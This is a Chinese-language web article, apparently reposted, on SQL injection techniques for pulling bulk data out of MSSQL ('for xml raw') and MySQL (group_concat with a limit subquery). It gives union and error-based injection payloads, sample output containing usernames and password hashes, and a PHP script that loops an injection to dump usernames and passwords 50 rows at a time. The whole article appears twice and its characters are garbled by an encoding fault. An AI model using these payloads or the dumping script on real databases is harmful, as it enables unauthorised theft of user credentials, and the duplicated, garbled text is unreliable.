SQL注入中獲取數(shù)據(jù)的一些技巧分析
發(fā)布日期:2021-12-25 18:10 | 文章來(lái)源:gibhub
一、MSSQL獲取數(shù)據(jù):
用的比較多的就是for xml raw了,MSSQL2000都支持的!
注入中顯示數(shù)據(jù)的兩個(gè)辦法均可以使用,一是union select、二是顯錯(cuò),以MSSQL2005為例:
返回(如果username重復(fù),自動(dòng)去除重復(fù)值):
<row username="admin"/><row username="Anna"/><row username="oldjun"/>
select username from members where 1=(select top 3 username from members for xml raw)
返回:
Msg 245, Level 16, State 1, Line 1
Conversion failed when converting the nvarchar value '<row username="admin"/><row username="Anna"/><row username="oldjun"/>' to data type int.
當(dāng)數(shù)據(jù)量很大,無(wú)webshell,有注入點(diǎn)可以利用的時(shí)候,for xml raw 是不錯(cuò)的獲取批量數(shù)據(jù)的辦法!為了不讓返回的數(shù)據(jù)量過(guò)大,top可以限制小一點(diǎn),比如100,另外要附加腳本或者程序?qū)Ψ祷刂颠M(jìn)行處理。
二、MYSQL獲取數(shù)據(jù):
用的比較多的是group_concat,mysql>=4.1支持該函數(shù),可能很多人知道了,但我看過(guò)的文章幾乎都是用來(lái)讀table_name或者column_name的,畢竟表名、列名的數(shù)據(jù)量不大,所以用起來(lái)很方便,可以一下子把所有表名或者所有列名讀出來(lái)。不過(guò)用group_concat批量注入讀數(shù)據(jù)的很少,雖然可以提高效率,增快速度。
因?yàn)間roup_concat有個(gè)瓶頸,當(dāng)group_concat與limit連用時(shí),limit不起作用(也許是先執(zhí)行g(shù)roup_concat),于是group_concat一次性讀出很多條數(shù)據(jù)(取決于group_concat_max_len,默認(rèn)1024),而一般網(wǎng)站數(shù)據(jù)量都是很大的。一旦不能與limit連用,怎么獲取之后的數(shù)據(jù)呢?
其實(shí)簡(jiǎn)單變動(dòng)下SQL語(yǔ)句即可以實(shí)現(xiàn)group_concat與limit連用:
select concat(group_concat(A.username separator 0x7c7c7c),0x3a,group_concat(A.password separator 0x7c7c7c)) from (select * from members limit 0,3) A
返回:
guest|||admin|||oldjun:084e0343a0486ff05530df6c705c8bb4|||21232f297a57a5a743894a0e4a801fc3|||ad392a36c512176545900fd05772cbc6
于是簡(jiǎn)單做下字符串處理,前三條數(shù)據(jù)就出來(lái)了。為了返回不至于數(shù)據(jù)量過(guò)大,單次查詢(xún)100以下一般可以接受的。
三、給出部分示例代碼(mysql group_concat 50條數(shù)據(jù)每次):
<?
if ($argc < 3) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' start end(end: count/50)
Example:
php '.$argv[0].' 0 9999
Author:oldjun(http://www.oldjun.com)
+---------------------------------------------------------------------------+
');
exit;
}
error_reporting(7);
ini_set('max_execution_time', 0);
$start = $argv[1];
$over = $argv[2];
for($i=$start;$i<=$over;$i++){
getdata($i);
}
function getdata($i)
{
$resp = send($i);
if ($resp){
preg_match('#<<<<<<<<<<([^\n]+):([^\n]+)>>>>>>>>>>#', $resp, $value);
if($value){
$namearr=explode("|||",$value[1]);
$passarr=explode("|||",$value[2]);
for($j=0;$j<50;$j++){
echo $namearr[$j]."|||".$passarr[$j]."\r\n";
}
unset($namearr);
unset($passarr);
}else{
echo $resp;
echo "value error,return $i\r\n";
getdata($i);
}
}
else{
echo "resp error,return $i\r\n";
getdata($i);
}
}
function send($i)
{
$limit=$i*50;
//發(fā)送數(shù)據(jù)包代碼省略
//注入語(yǔ)句示例:union select 1,2,3,4,CONCAT(0x3C3C3C3C3C3C3C3C3C3C,group_concat(A.username separator 0x7c7c7c),0x3a,group_concat(A.password separator 0x7c7c7c),0x3E3E3E3E3E3E3E3E3E3E) FROM (select * from members limit ".$limit.",50) A#
}
?>
用的比較多的就是for xml raw了,MSSQL2000都支持的!
注入中顯示數(shù)據(jù)的兩個(gè)辦法均可以使用,一是union select、二是顯錯(cuò),以MSSQL2005為例:
復(fù)制代碼
代碼如下:select username from members where 1=2 union select top 3 username from members for xml raw
返回(如果username重復(fù),自動(dòng)去除重復(fù)值):
復(fù)制代碼
代碼如下:<row username="admin"/><row username="Anna"/><row username="oldjun"/>
select username from members where 1=(select top 3 username from members for xml raw)
返回:
復(fù)制代碼
代碼如下:Msg 245, Level 16, State 1, Line 1
Conversion failed when converting the nvarchar value '<row username="admin"/><row username="Anna"/><row username="oldjun"/>' to data type int.
當(dāng)數(shù)據(jù)量很大,無(wú)webshell,有注入點(diǎn)可以利用的時(shí)候,for xml raw 是不錯(cuò)的獲取批量數(shù)據(jù)的辦法!為了不讓返回的數(shù)據(jù)量過(guò)大,top可以限制小一點(diǎn),比如100,另外要附加腳本或者程序?qū)Ψ祷刂颠M(jìn)行處理。
二、MYSQL獲取數(shù)據(jù):
用的比較多的是group_concat,mysql>=4.1支持該函數(shù),可能很多人知道了,但我看過(guò)的文章幾乎都是用來(lái)讀table_name或者column_name的,畢竟表名、列名的數(shù)據(jù)量不大,所以用起來(lái)很方便,可以一下子把所有表名或者所有列名讀出來(lái)。不過(guò)用group_concat批量注入讀數(shù)據(jù)的很少,雖然可以提高效率,增快速度。
因?yàn)間roup_concat有個(gè)瓶頸,當(dāng)group_concat與limit連用時(shí),limit不起作用(也許是先執(zhí)行g(shù)roup_concat),于是group_concat一次性讀出很多條數(shù)據(jù)(取決于group_concat_max_len,默認(rèn)1024),而一般網(wǎng)站數(shù)據(jù)量都是很大的。一旦不能與limit連用,怎么獲取之后的數(shù)據(jù)呢?
其實(shí)簡(jiǎn)單變動(dòng)下SQL語(yǔ)句即可以實(shí)現(xiàn)group_concat與limit連用:
復(fù)制代碼
代碼如下:select concat(group_concat(A.username separator 0x7c7c7c),0x3a,group_concat(A.password separator 0x7c7c7c)) from (select * from members limit 0,3) A
返回:
guest|||admin|||oldjun:084e0343a0486ff05530df6c705c8bb4|||21232f297a57a5a743894a0e4a801fc3|||ad392a36c512176545900fd05772cbc6
于是簡(jiǎn)單做下字符串處理,前三條數(shù)據(jù)就出來(lái)了。為了返回不至于數(shù)據(jù)量過(guò)大,單次查詢(xún)100以下一般可以接受的。
三、給出部分示例代碼(mysql group_concat 50條數(shù)據(jù)每次):
復(fù)制代碼
代碼如下:<?
if ($argc < 3) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' start end(end: count/50)
Example:
php '.$argv[0].' 0 9999
Author:oldjun(http://www.oldjun.com)
+---------------------------------------------------------------------------+
');
exit;
}
error_reporting(7);
ini_set('max_execution_time', 0);
$start = $argv[1];
$over = $argv[2];
for($i=$start;$i<=$over;$i++){
getdata($i);
}
function getdata($i)
{
$resp = send($i);
if ($resp){
preg_match('#<<<<<<<<<<([^\n]+):([^\n]+)>>>>>>>>>>#', $resp, $value);
if($value){
$namearr=explode("|||",$value[1]);
$passarr=explode("|||",$value[2]);
for($j=0;$j<50;$j++){
echo $namearr[$j]."|||".$passarr[$j]."\r\n";
}
unset($namearr);
unset($passarr);
}else{
echo $resp;
echo "value error,return $i\r\n";
getdata($i);
}
}
else{
echo "resp error,return $i\r\n";
getdata($i);
}
}
function send($i)
{
$limit=$i*50;
//發(fā)送數(shù)據(jù)包代碼省略
//注入語(yǔ)句示例:union select 1,2,3,4,CONCAT(0x3C3C3C3C3C3C3C3C3C3C,group_concat(A.username separator 0x7c7c7c),0x3a,group_concat(A.password separator 0x7c7c7c),0x3E3E3E3E3E3E3E3E3E3E) FROM (select * from members limit ".$limit.",50) A#
}
?>
版權(quán)聲明:本站文章來(lái)源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請(qǐng)保持原文完整并注明來(lái)源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非maisonbaluchon.cn所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來(lái)源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來(lái),僅供學(xué)習(xí)參考,不代表本站立場(chǎng),如有內(nèi)容涉嫌侵權(quán),請(qǐng)聯(lián)系alex-e#qq.com處理。
相關(guān)文章
關(guān)注官方微信